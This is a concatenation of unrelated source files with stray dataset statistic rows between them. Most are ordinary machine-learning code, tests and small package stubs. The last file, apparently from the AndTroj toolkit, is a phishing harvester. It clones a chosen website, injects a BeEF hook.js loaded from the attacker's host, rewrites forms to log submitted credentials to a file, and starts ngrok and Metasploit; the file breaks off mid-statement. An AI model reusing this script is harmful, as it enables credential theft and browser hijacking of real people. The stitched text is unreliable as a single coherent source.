key: self._env_infos[key][indices]
for key in self._env_info_keys
}
def num_steps_can_sample(self):
return self._size
def get_diagnostics(self):
return OrderedDict([
('size', self._size)
])
def save_buffer(self, epoch):
path = self.buffer_dir + '/replay_%d.pt' % (epoch)
payload = [
self._observations[:self._size],
self._actions[:self._size],
self._rewards[:self._size],
self._terminals[:self._size],
self._next_obs[:self._size],
self._mask[:self._size],
self._size,
]
torch.save(payload, path)
def load_buffer(self, epoch):
path = self.buffer_dir + '/replay_%d.pt' % (epoch)
payload = torch.load(path)
self._observations = payload[0]
self._actions = payload[1]
self._rewards = payload[2]
self._terminals = payload[3]
self._next_obs = payload[4]
self._mask = payload[5]
self._size = payload[6]
class RandomReplayBuffer(ReplayBuffer):
def __init__(
self,
max_replay_buffer_size,
observation_dim,
action_dim,
env_info_sizes,
single_flag,
equal_flag,
lower,
upper,
):
self._observation_dim = observation_dim
self._action_dim = action_dim
self._max_replay_buffer_size = max_replay_buffer_size
self._observations = np.zeros((max_replay_buffer_size, observation_dim))
# It's a bit memory inefficient to save the observations twice,
# but it makes the code *much* easier since you no longer have to
# worry about termination conditions.
self._next_obs = np.zeros((max_replay_buffer_size, observation_dim))
self._actions = np.zeros((max_replay_buffer_size, action_dim))
# Make everything a 2D np array to make it easier for other code to
# reason about the shape of the data
self._rewards = np.zeros((max_replay_buffer_size, 1))
# self._terminals[i] = a terminal was received at time i
self._terminals = np.zeros((max_replay_buffer_size, 1), dtype='uint8')
# Define self._env_infos[key][i] to be the return value of env_info[key]
# at time i
self._env_infos = {}
for key, size in env_info_sizes.items():
self._env_infos[key] = np.zeros((max_replay_buffer_size, size))
self._env_info_keys = env_info_sizes.keys()
self._top = 0
self._size = 0
# randomization
self.single_flag = single_flag
self.equal_flag = equal_flag
self.lower = lower
self.upper = upper
def add_sample(self, observation, action, reward, next_observation,
terminal, env_info, **kwargs):
self._observations[self._top] = observation
self._actions[self._top] = action
self._rewards[self._top] = reward
self._terminals[self._top] = terminal
self._next_obs[self._top] = next_observation
for key in self._env_info_keys:
self._env_infos[key][self._top] = env_info[key]
self._advance()
def terminate_episode(self):
pass
def _advance(self):
self._top = (self._top + 1) % self._max_replay_buffer_size
if self._size < self._max_replay_buffer_size:
self._size += 1
def random_batch(self, batch_size):
indices = np.random.randint(0, self._size, batch_size)
obs = self._observations[indices]
next_obs = self._next_obs[indices]
if self.single_flag == 0:
random_number_1 = np.random.uniform(self.lower, self.upper, obs.shape[0]).reshape(-1,1)
random_number_2 = np.random.uniform(self.lower, self.upper, obs.shape[0]).reshape(-1,1)
else:
random_number_1 = np.random.uniform(self.lower, self.upper, obs.shape[0]*obs.shape[1]).reshape(obs.shape[0],-1)
random_number_2 = np.random.uniform(self.lower, self.upper, obs.shape[0]*obs.shape[1]).reshape(obs.shape[0],-1)
if self.equal_flag == 0:
obs = obs * random_number_1
next_obs = next_obs * random_number_1
else:
obs = obs * random_number_1
next_obs = next_obs * random_number_2
batch = dict(
observations=obs,
actions=self._actions[indices],
rewards=self._rewards[indices],
terminals=self._terminals[indices],
next_observations=next_obs,
)
for key in self._env_info_keys:
assert key not in batch.keys()
batch[key] = self._env_infos[key][indices]
return batch
def rebuild_env_info_dict(self, idx):
return {
key: self._env_infos[key][idx]
for key in self._env_info_keys
}
def batch_env_info_dict(self, indices):
return {
key: self._env_infos[key][indices]
for key in self._env_info_keys
}
def num_steps_can_sample(self):
return self._size
def get_diagnostics(self):
return OrderedDict([
('size', self._size)
])
class GaussianReplayBuffer(ReplayBuffer):
def __init__(
self,
max_replay_buffer_size,
observation_dim,
action_dim,
env_info_sizes,
prob,
std,
):
self._observation_dim = observation_dim
self._action_dim = action_dim
self._max_replay_buffer_size = max_replay_buffer_size
self._observations = np.zeros((max_replay_buffer_size, observation_dim))
# It's a bit memory inefficient to save the observations twice,
# but it makes the code *much* easier since you no longer have to
# worry about termination conditions.
self._next_obs = np.zeros((max_replay_buffer_size, observation_dim))
self._actions = np.zeros((max_replay_buffer_size, action_dim))
# Make everything a 2D np array to make it easier for other code to
# reason about the shape of the data
self._rewards = np.zeros((max_replay_buffer_size, 1))
# self._terminals[i] = a terminal was received at time i
self._terminals = np.zeros((max_replay_buffer_size, 1), dtype='uint8')
# Define self._env_infos[key][i] to be the return value of env_info[key]
# at time i
self._env_infos = {}
for key, size in env_info_sizes.items():
self._env_infos[key] = np.zeros((max_replay_buffer_size, size))
self._env_info_keys = env_info_sizes.keys()
self._top = 0
self._size = 0
# randomization
self.prob = prob
self.std = std
def add_sample(self, observation, action, reward, next_observation,
terminal, env_info, **kwargs):
self._observations[self._top] = observation
self._actions[self._top] = action
self._rewards[self._top] = reward
self._terminals[self._top] = terminal
self._next_obs[self._top] = next_observation
for key in self._env_info_keys:
self._env_infos[key][self._top] = env_info[key]
self._advance()
def terminate_episode(self):
pass
def _advance(self):
self._top = (self._top + 1) % self._max_replay_buffer_size
if self._size < self._max_replay_buffer_size:
self._size += 1
def random_batch(self, batch_size):
indices = np.random.randint(0, self._size, batch_size)
obs = self._observations[indices]
next_obs = self._next_obs[indices]
num_batch, dim_input = obs.shape[0], obs.shape[1]
noise = np.random.normal(0, self.std, num_batch*dim_input).reshape(num_batch, -1)
mask = np.random.uniform(0, 1, num_batch).reshape(num_batch, -1) < self.prob
noise = noise * mask
obs = obs + noise
next_obs = next_obs + noise
batch = dict(
observations=obs,
actions=self._actions[indices],
rewards=self._rewards[indices],
terminals=self._terminals[indices],
next_observations=next_obs,
)
for key in self._env_info_keys:
assert key not in batch.keys()
batch[key] = self._env_infos[key][indices]
return batch
def rebuild_env_info_dict(self, idx):
return {
key: self._env_infos[key][idx]
for key in self._env_info_keys
}
def batch_env_info_dict(self, indices):
return {
key: self._env_infos[key][indices]
for key in self._env_info_keys
}
def num_steps_can_sample(self):
return self._size
def get_diagnostics(self):
return OrderedDict([
('size', self._size)
])
| 35.619369
| 143
| 0.618021
| 2,023
| 15,815
| 4.504202
| 0.07909
| 0.039947
| 0.074078
| 0.093832
| 0.865233
| 0.865233
| 0.856673
| 0.856673
| 0.856673
| 0.856673
| 0
| 0.006504
| 0.290294
| 15,815
| 443
| 144
| 35.699774
| 0.805328
| 0.103383
| 0
| 0.769231
| 0
| 0.002959
| 0.013009
| 0
| 0
| 0
| 0
| 0
| 0.011834
| 1
| 0.112426
| false
| 0.011834
| 0.011834
| 0.047337
| 0.195266
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
15406178d46744549f59cba151a30a0eb22f6ca4
| 125
|
py
|
Python
|
agent/__init__.py
|
bibofeng/DeepRL-1
|
7b14d9720a8ea1e08b05a2889d699a70174caf8f
|
[
"Apache-2.0"
] | null | null | null |
agent/__init__.py
|
bibofeng/DeepRL-1
|
7b14d9720a8ea1e08b05a2889d699a70174caf8f
|
[
"Apache-2.0"
] | null | null | null |
agent/__init__.py
|
bibofeng/DeepRL-1
|
7b14d9720a8ea1e08b05a2889d699a70174caf8f
|
[
"Apache-2.0"
] | 1
|
2021-08-11T19:37:04.000Z
|
2021-08-11T19:37:04.000Z
|
from async_agent import *
from DDPG_agent import *
from DQN_agent import *
from A2C_agent import *
from MSDQN_agent import *
| 20.833333
| 25
| 0.8
| 20
| 125
| 4.75
| 0.4
| 0.578947
| 0.631579
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.009524
| 0.16
| 125
| 5
| 26
| 25
| 0.895238
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
156133c4065bfdfe785ef2f084217767b0504e85
| 3,755
|
py
|
Python
|
test_app/tests/test_lare_ready_lare_always.py
|
iekadou/lare.js
|
9f01fcb585d3532d4ab6d169978d3abde1f5796a
|
[
"MIT"
] | null | null | null |
test_app/tests/test_lare_ready_lare_always.py
|
iekadou/lare.js
|
9f01fcb585d3532d4ab6d169978d3abde1f5796a
|
[
"MIT"
] | 1
|
2016-05-20T08:31:09.000Z
|
2016-05-20T08:31:09.000Z
|
test_app/tests/test_lare_ready_lare_always.py
|
lare-team/lare.js
|
9f01fcb585d3532d4ab6d169978d3abde1f5796a
|
[
"MIT"
] | null | null | null |
from __future__ import unicode_literals
from .helpers import SeleniumTestCase
class LareReadyLareAlwaysTest(SeleniumTestCase):
def test_lare_ready_lare_always(self):
self.browser_get_reverse('index')
self.assertEqual(len(self.browser.find_elements_by_class_name('lare-always-div')), 0)
self.assertEqual(len(self.browser.find_elements_by_class_name('lare-ready-div')), 0)
self.assertEqual(len(self.browser.find_elements_by_class_name('lare-ready-once-div')), 0)
lare_ready_lare_always_link = self.browser.find_element_by_css_selector('#lare-ready-lare-always-link')
lare_ready_lare_always_link.click()
self.wait.until(lambda browser: len(browser.find_elements_by_class_name('lare-always-div')) == 1)
self.wait.until(lambda browser: len(browser.find_elements_by_class_name('lare-ready-div')) == 1)
self.wait.until(lambda browser: len(browser.find_elements_by_class_name('lare-ready-once-div')) == 1)
about_link = self.browser.find_element_by_css_selector('#about-link')
about_link.click()
self.wait.until(lambda browser: len(browser.find_elements_by_class_name('lare-always-div')) == 2)
self.wait.until(lambda browser: len(browser.find_elements_by_class_name('lare-ready-div')) == 2)
self.assertEqual(len(self.browser.find_elements_by_class_name('lare-ready-once-div')), 1)
project_link = self.browser.find_element_by_css_selector('#project-link')
project_link.click()
self.wait.until(lambda browser: len(browser.find_elements_by_class_name('lare-always-div')) == 3)
self.wait.until(lambda browser: len(browser.find_elements_by_class_name('lare-ready-div')) == 3)
self.assertEqual(len(self.browser.find_elements_by_class_name('lare-ready-once-div')), 1)
self.browser.back()
self.wait.until(lambda browser: len(browser.find_elements_by_class_name('lare-always-div')) == 4)
self.wait.until(lambda browser: len(browser.find_elements_by_class_name('lare-ready-div')) == 3)
self.assertEqual(len(self.browser.find_elements_by_class_name('lare-ready-once-div')), 1)
about_link = self.browser.find_element_by_css_selector('#about-link')
about_link.click()
self.wait.until(lambda browser: len(browser.find_elements_by_class_name('lare-always-div')) == 5)
self.assertEqual(len(self.browser.find_elements_by_class_name('lare-ready-div')), 4)
self.assertEqual(len(self.browser.find_elements_by_class_name('lare-ready-once-div')), 1)
def test_disabled_lare(self):
self.browser_get_reverse('index')
self.assertEqual(len(self.browser.find_elements_by_class_name('lare-always-div')), 0)
self.assertEqual(len(self.browser.find_elements_by_class_name('lare-ready-div')), 0)
self.assertEqual(len(self.browser.find_elements_by_class_name('lare-ready-once-div')), 0)
self.browser.execute_script('$.fn.lare.disable();')
self.browser_get_reverse('lare_ready_lare_always', lare_state='disabled')
self.wait.until(lambda browser: len(browser.find_elements_by_class_name('lare-always-div')) == 1)
self.wait.until(lambda browser: len(browser.find_elements_by_class_name('lare-ready-div')) == 1)
self.wait.until(lambda browser: len(browser.find_elements_by_class_name('lare-ready-once-div')) == 1)
self.browser_get_reverse('about')
self.wait.until(lambda browser: len(browser.find_elements_by_class_name('lare-always-div')) == 0)
self.wait.until(lambda browser: len(browser.find_elements_by_class_name('lare-ready-div')) == 0)
self.wait.until(lambda browser: len(browser.find_elements_by_class_name('lare-ready-once-div')) == 0)
| 55.220588
| 111
| 0.729161
| 544
| 3,755
| 4.735294
| 0.091912
| 0.132376
| 0.199146
| 0.220109
| 0.884705
| 0.861025
| 0.861025
| 0.861025
| 0.830745
| 0.830745
| 0
| 0.008285
| 0.132091
| 3,755
| 67
| 112
| 56.044776
| 0.782142
| 0
| 0
| 0.521739
| 0
| 0
| 0.149134
| 0.013316
| 0
| 0
| 0
| 0
| 0.23913
| 1
| 0.043478
| false
| 0
| 0.043478
| 0
| 0.108696
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
158dbf7d89fddb2d90df81b929d09a9b03b2431d
| 107
|
py
|
Python
|
mmdet3d/core/evaluation/neolix_utils/__init__.py
|
neolixcn/mmdetection3d
|
45b5b8c2b2cc35762f27b020b34d2c3ee6be97af
|
[
"Apache-2.0"
] | null | null | null |
mmdet3d/core/evaluation/neolix_utils/__init__.py
|
neolixcn/mmdetection3d
|
45b5b8c2b2cc35762f27b020b34d2c3ee6be97af
|
[
"Apache-2.0"
] | null | null | null |
mmdet3d/core/evaluation/neolix_utils/__init__.py
|
neolixcn/mmdetection3d
|
45b5b8c2b2cc35762f27b020b34d2c3ee6be97af
|
[
"Apache-2.0"
] | null | null | null |
from .eval import neolix_eval, neolix_eval_coco_style
__all__ = ['neolix_eval', 'neolix_eval_coco_style']
| 26.75
| 53
| 0.813084
| 16
| 107
| 4.6875
| 0.4375
| 0.533333
| 0.426667
| 0.533333
| 0.773333
| 0.773333
| 0
| 0
| 0
| 0
| 0
| 0
| 0.093458
| 107
| 3
| 54
| 35.666667
| 0.773196
| 0
| 0
| 0
| 0
| 0
| 0.308411
| 0.205607
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.5
| 0
| 0.5
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
|
0
| 7
|
1593284dd4bd01a8162e42427201e0eb55fb3da0
| 38
|
py
|
Python
|
src/lib/curses/__init__.py
|
DTenore/skulpt
|
098d20acfb088d6db85535132c324b7ac2f2d212
|
[
"MIT"
] | 2,671
|
2015-01-03T08:23:25.000Z
|
2022-03-31T06:15:48.000Z
|
src/lib/curses/__init__.py
|
wakeupmuyunhe/skulpt
|
a8fb11a80fb6d7c016bab5dfe3712517a350b347
|
[
"MIT"
] | 972
|
2015-01-05T08:11:00.000Z
|
2022-03-29T13:47:15.000Z
|
src/lib/curses/__init__.py
|
wakeupmuyunhe/skulpt
|
a8fb11a80fb6d7c016bab5dfe3712517a350b347
|
[
"MIT"
] | 845
|
2015-01-03T19:53:36.000Z
|
2022-03-29T18:34:22.000Z
|
import _sk_fail; _sk_fail._("curses")
| 19
| 37
| 0.763158
| 6
| 38
| 4
| 0.666667
| 0.5
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.078947
| 38
| 1
| 38
| 38
| 0.685714
| 0
| 0
| 0
| 0
| 0
| 0.157895
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 1
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
ec6dff0a2b9864b56ce0dfe11c13fba53d0f9a3d
| 5,323
|
py
|
Python
|
test/PR_test/unit_test/op/numpyop/meta/test_repeat.py
|
DwijayDS/fastestimator
|
9b288cb2bd870f971ec4cee09d0b3205e1316a94
|
[
"Apache-2.0"
] | 57
|
2019-05-21T21:29:26.000Z
|
2022-02-23T05:55:21.000Z
|
test/PR_test/unit_test/op/numpyop/meta/test_repeat.py
|
vbvg2008/fastestimator
|
6061a4fbbeb62a2194ef82ba8017f651710d0c65
|
[
"Apache-2.0"
] | 93
|
2019-05-23T18:36:07.000Z
|
2022-03-23T17:15:55.000Z
|
test/PR_test/unit_test/op/numpyop/meta/test_repeat.py
|
vbvg2008/fastestimator
|
6061a4fbbeb62a2194ef82ba8017f651710d0c65
|
[
"Apache-2.0"
] | 47
|
2019-05-09T15:41:37.000Z
|
2022-03-26T17:00:08.000Z
|
# Copyright 2020 The FastEstimator Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# ==============================================================================
import unittest
import numpy as np
from fastestimator.op.numpyop import LambdaOp
from fastestimator.op.numpyop.meta import Repeat
class TestRepeat(unittest.TestCase):
def test_single_repeat_int(self):
add_op = LambdaOp(inputs='x', outputs=('x', 'y'), fn=lambda x: (x + 1, x * x), mode='eval')
repeat_op = Repeat(add_op, repeat=1)
with self.subTest('Check op inputs'):
self.assertListEqual(repeat_op.inputs, ['x'])
with self.subTest('Check op outputs'):
self.assertListEqual(repeat_op.outputs, ['x', 'y'])
with self.subTest('Check op mode'):
self.assertSetEqual(repeat_op.mode, {'eval'})
output = repeat_op.forward(data=[np.ones([1])], state={"mode": "eval"})
with self.subTest('Check output type'):
self.assertEqual(type(output), list)
with self.subTest('Check output value (x)'):
self.assertEqual(2, output[0])
with self.subTest('Check output value (y)'):
self.assertEqual(1, output[1])
def test_multi_repeat_int(self):
add_op = LambdaOp(inputs='x', outputs=('x', 'y'), fn=lambda x: (x + 1, x * x), mode='eval')
repeat_op = Repeat(add_op, repeat=5)
with self.subTest('Check op inputs'):
self.assertListEqual(repeat_op.inputs, ['x'])
with self.subTest('Check op outputs'):
self.assertListEqual(repeat_op.outputs, ['x', 'y'])
with self.subTest('Check op mode'):
self.assertSetEqual(repeat_op.mode, {'eval'})
output = repeat_op.forward(data=[np.ones([1])], state={"mode": "eval"})
with self.subTest('Check output type'):
self.assertEqual(type(output), list)
with self.subTest('Check output value (x)'):
self.assertEqual(6, output[0])
with self.subTest('Check output value (y)'):
self.assertEqual(25, output[1])
def test_single_repeat_fn_interior_value(self):
add_op = LambdaOp(inputs='x', outputs=('x', 'y'), fn=lambda x: (x + 1, x * x), mode='eval')
repeat_op = Repeat(add_op, repeat=lambda y: y < 1)
with self.subTest('Check op inputs'):
self.assertListEqual(repeat_op.inputs, ['x'])
with self.subTest('Check op outputs'):
self.assertListEqual(repeat_op.outputs, ['x', 'y'])
with self.subTest('Check op mode'):
self.assertSetEqual(repeat_op.mode, {'eval'})
output = repeat_op.forward(data=[np.ones([1])], state={"mode": "eval"})
with self.subTest('Check output type'):
self.assertEqual(type(output), list)
with self.subTest('Check output value (x)'):
self.assertEqual(2, output[0])
with self.subTest('Check output value (y)'):
self.assertEqual(1, output[1])
def test_multi_repeat_fn_interior_value(self):
add_op = LambdaOp(inputs='x', outputs=('x', 'y'), fn=lambda x: (x + 1, x * x), mode='eval')
repeat_op = Repeat(add_op, repeat=lambda y: y < 25)
with self.subTest('Check op inputs'):
self.assertListEqual(repeat_op.inputs, ['x'])
with self.subTest('Check op outputs'):
self.assertListEqual(repeat_op.outputs, ['x', 'y'])
with self.subTest('Check op mode'):
self.assertSetEqual(repeat_op.mode, {'eval'})
output = repeat_op.forward(data=[np.ones([1])], state={"mode": "eval"})
with self.subTest('Check output type'):
self.assertEqual(type(output), list)
with self.subTest('Check output value (x)'):
self.assertEqual(6, output[0])
with self.subTest('Check output value (y)'):
self.assertEqual(25, output[1])
def test_repeat_fn_exterior_value(self):
add_op = LambdaOp(inputs='x', outputs=('x', 'y'), fn=lambda x: (x + 1, x * x), mode='eval')
repeat_op = Repeat(add_op, repeat=lambda y, z: y + z < 25)
with self.subTest('Check op inputs'):
self.assertListEqual(repeat_op.inputs, ['x', 'z'])
with self.subTest('Check op outputs'):
self.assertListEqual(repeat_op.outputs, ['x', 'y'])
with self.subTest('Check op mode'):
self.assertSetEqual(repeat_op.mode, {'eval'})
output = repeat_op.forward(data=[np.ones([1]), 10 + np.ones([1])], state={"mode": "eval"})
with self.subTest('Check output type'):
self.assertEqual(type(output), list)
with self.subTest('Check output value (x)'):
self.assertEqual(5, output[0])
with self.subTest('Check output value (y)'):
self.assertEqual(16, output[1])
| 49.287037
| 99
| 0.610558
| 703
| 5,323
| 4.544808
| 0.165007
| 0.075117
| 0.140845
| 0.187793
| 0.792488
| 0.792488
| 0.792488
| 0.792488
| 0.792488
| 0.792488
| 0
| 0.012394
| 0.22694
| 5,323
| 107
| 100
| 49.747664
| 0.764034
| 0.124554
| 0
| 0.776471
| 0
| 0
| 0.136921
| 0
| 0
| 0
| 0
| 0
| 0.352941
| 1
| 0.058824
| false
| 0
| 0.047059
| 0
| 0.117647
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
ecee42746fc29e4c08c69d77ee030cce970feb22
| 218
|
py
|
Python
|
api/src/wt/fields/links/__init__.py
|
sedlar/work-tracking
|
78917ff8200829eb674142ce43b503d8e892d7eb
|
[
"BSD-2-Clause"
] | null | null | null |
api/src/wt/fields/links/__init__.py
|
sedlar/work-tracking
|
78917ff8200829eb674142ce43b503d8e892d7eb
|
[
"BSD-2-Clause"
] | null | null | null |
api/src/wt/fields/links/__init__.py
|
sedlar/work-tracking
|
78917ff8200829eb674142ce43b503d8e892d7eb
|
[
"BSD-2-Clause"
] | null | null | null |
from wt.fields.links._obj import Link
from wt.fields.links._model import LinksModel
from wt.fields.links._error import DuplicateLinkReceived
from wt.fields.links._serialization import LinkSerializer, LinksDeserializer
| 43.6
| 76
| 0.862385
| 29
| 218
| 6.344828
| 0.482759
| 0.130435
| 0.26087
| 0.369565
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.077982
| 218
| 4
| 77
| 54.5
| 0.915423
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
ecf1a2d0044f3cb5964a35957f406db0f198fc7c
| 186
|
py
|
Python
|
hknweb/polls/admin.py
|
devanshanker/hknweb
|
ab0941e9b56cf9a2bc6b733169f90bcf8d6ac1e8
|
[
"MIT"
] | null | null | null |
hknweb/polls/admin.py
|
devanshanker/hknweb
|
ab0941e9b56cf9a2bc6b733169f90bcf8d6ac1e8
|
[
"MIT"
] | null | null | null |
hknweb/polls/admin.py
|
devanshanker/hknweb
|
ab0941e9b56cf9a2bc6b733169f90bcf8d6ac1e8
|
[
"MIT"
] | null | null | null |
from django.contrib import admin
# Register your models here.
from django.contrib import admin
from .models import Question
# Registering Question model.
admin.site.register(Question)
| 20.666667
| 32
| 0.811828
| 25
| 186
| 6.04
| 0.52
| 0.13245
| 0.225166
| 0.304636
| 0.370861
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.129032
| 186
| 8
| 33
| 23.25
| 0.932099
| 0.290323
| 0
| 0.5
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.75
| 0
| 0.75
| 0
| 1
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
01c266c532bf69eafce2a9a5512ecb535dbe06b7
| 15,356
|
py
|
Python
|
lib/Web/Harvester.py
|
prosecurity/AndTroj
|
cf14625651f022b3c13a2d149281c65446f3e8b9
|
[
"MIT"
] | 1
|
2019-12-27T18:24:39.000Z
|
2019-12-27T18:24:39.000Z
|
lib/Web/Harvester.py
|
prosecurity/AndTroj
|
cf14625651f022b3c13a2d149281c65446f3e8b9
|
[
"MIT"
] | null | null | null |
lib/Web/Harvester.py
|
prosecurity/AndTroj
|
cf14625651f022b3c13a2d149281c65446f3e8b9
|
[
"MIT"
] | null | null | null |
#!/usr/bin/env python
# coding=utf-8
# https://t.me/unk9vvn
# AVI
from core.menu import *
LAN = ([l for l in ([ip for ip in socket.gethostbyname_ex(socket.gethostname())[2]
if not ip.startswith("127.")][:1], [[(s.connect(('8.8.8.8', 53)),
s.getsockname()[0], s.close()) for s in [socket.socket(socket.AF_INET,
socket.SOCK_DGRAM)]][0][1]]) if l][0][0])
dir = '/usr/share/AndTroj'
tmp = dir + '/tmp/'
kutation = '"'
bslash1 = '\\'
bslash2 = '\\'
bslash = bslash1 + bslash2
slashkutat = bslash1 + kutation
ng_url = tmp + 'ngrok_url.txt'
out8 = tmp + 'ngrok.txt'
out9 = tmp + 'ngrok_beef.txt'
def harstr():
global LHOST, NGHOST, LGHOST
subprocess.call(
'chmod o+w /var/www/html/',
shell=True)
subprocess.call(
'sed -i \'137s/.*/ enable: true/\' /usr/share/beef-xss/config.yaml && '
'sed -i \'156s/.*/ enable: true/\' /usr/share/beef-xss/config.yaml',
shell=True)
subprocess.call(
'sed -i \'18s/.*/ host: "' + LAN + '"/\' /usr/share/beef-xss/extensions/metasploit/config.yaml && '
'sed -i \'28s/.*/ callback_host: "' + LAN + '"/\' /usr/share/beef-xss/extensions/metasploit/config.yaml',
shell=True)
NGROK_SLT = raw_input("\n\t[1] Ngrok FreeURL(Free)"
"\n\t[2] Ngrok CustomURL(Business)"
"\n\nroot@unk9vvn:~# ")
URL_CLONE = raw_input("\n\t[?] URL CLONE: ")
if NGROK_SLT == "1":
LHOST = raw_input("\n\t[i] Use IP Public or DNS NoIP."
"\n\t[?] LHOST: ")
print "\n"
LGHOST = "0.tcp.ngrok.io"
subprocess.call(
'noip2 && proxychains ngrok update',
shell=True)
subprocess.call(
'gnome-terminal --tab -e \'proxychains ngrok http 80\'',
shell=True)
pids = [pid for pid in os.listdir('/proc') if pid.isdigit()]
for pid in pids:
try:
cmd = open(os.path.join('/proc', pid, 'cmdline'), 'rb').read()
if cmd.find('ruby') != -1:
print "Kill PID: %s; Command: %s" % (pid, cmd)
subprocess.call(
'ps -ef | grep ruby | grep -v grep | awk \'{print $2}\' | xargs kill',
shell=True)
except IOError:
continue
subprocess.call(
'sed -i \'45s/.*/ dns_host: "' + LHOST + '"/\' /usr/share/beef-xss/config.yaml && '
'sed -i \'103s/.*/ db_host: "' + LHOST + '"/\' /usr/share/beef-xss/config.yaml',
shell=True)
chek_index = os.path.exists('/var/www/html/index.php')
if chek_index == (True):
subprocess.call(
'rm /var/www/html/index.php',
shell=True)
else:
pass
subprocess.call(
'service apache2 start && cd /var/www/html/ && wget -O index.html -c -k -U "Mozilla/5.0 (Macintosh; Intel MacOS X 10_12_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36" "' + URL_CLONE + '"',
shell=True)
subprocess.call(
'sed -i \'s#</body>#\\n<script src="http://' + LHOST + ':3000/hook.js"></script></body>#g\' /var/www/html/index.html',
shell=True)
subprocess.call(
'sed -i "s#</body>#\\n<script>\\n var commandModuleStr = \'<script src=' + bslash1 + '"\' + window.location.protocol + \'//\' + window.location.host + \'<%= @hook_uri %>' + bslash1 + '" type=' + bslash1 + '"text/javascript' + bslash1 + '"><iIIi/script>\';\\n document.write(commandModuleStr);\\n</script></body>#g" /var/www/html/index.html',
shell=True)
subprocess.call(
'sed -i -e \'s/\/root\///g\' /var/www/html/index.html',
shell=True)
subprocess.call(
'sed -i -e \'s#iIIi#\\\#g\' /var/www/html/index.html',
shell=True)
subprocess.call(
'mv /var/www/html/index.html /var/www/html/index.php',
shell=True)
subprocess.call(
"sed -i \"1s#.*#<?php\\nif (\$_SERVER['REQUEST_METHOD'] == 'POST') {\\nheader('Location: " + URL_CLONE + "');\\n\$handle = fopen('log.txt', 'a');\\nfwrite(\$handle, '---['.\$_SERVER['SERVER_NAME'].\$_SERVER['SCRIPT_NAME'].']---['.strtoupper(date(" + slashkutat + "h:i:s a - Y/m/d" + slashkutat + ")).']---['.\$_SERVER['REMOTE_ADDR']." + slashkutat + "]" + bslash1 + "\\\\\\r\\\\\\n" + slashkutat + ");\\nforeach(\$_POST as \$variable => \$value) {\\nfwrite(\$handle, \$variable.': '.\$value." + slashkutat + "\\\\\\r\\\\\\n" + slashkutat + ");}\\nfclose(\$handle);\\nexit;\\n} ?>#\" /var/www/html/index.php",
shell=True)
subprocess.call(
'sed -i \'s#action="[^"]*"#action="<?php echo basename(__FILE__); ?>"#g\' /var/www/html/index.php',
shell=True)
subprocess.call(
'gnome-terminal --tab -e \'msfconsole -q -x "load msgrpc ServerHost=' + LAN + ' Pass=abc123"\'',
shell=True)
checklog = os.path.exists('/var/www/html/log.txt')
if checklog == (False):
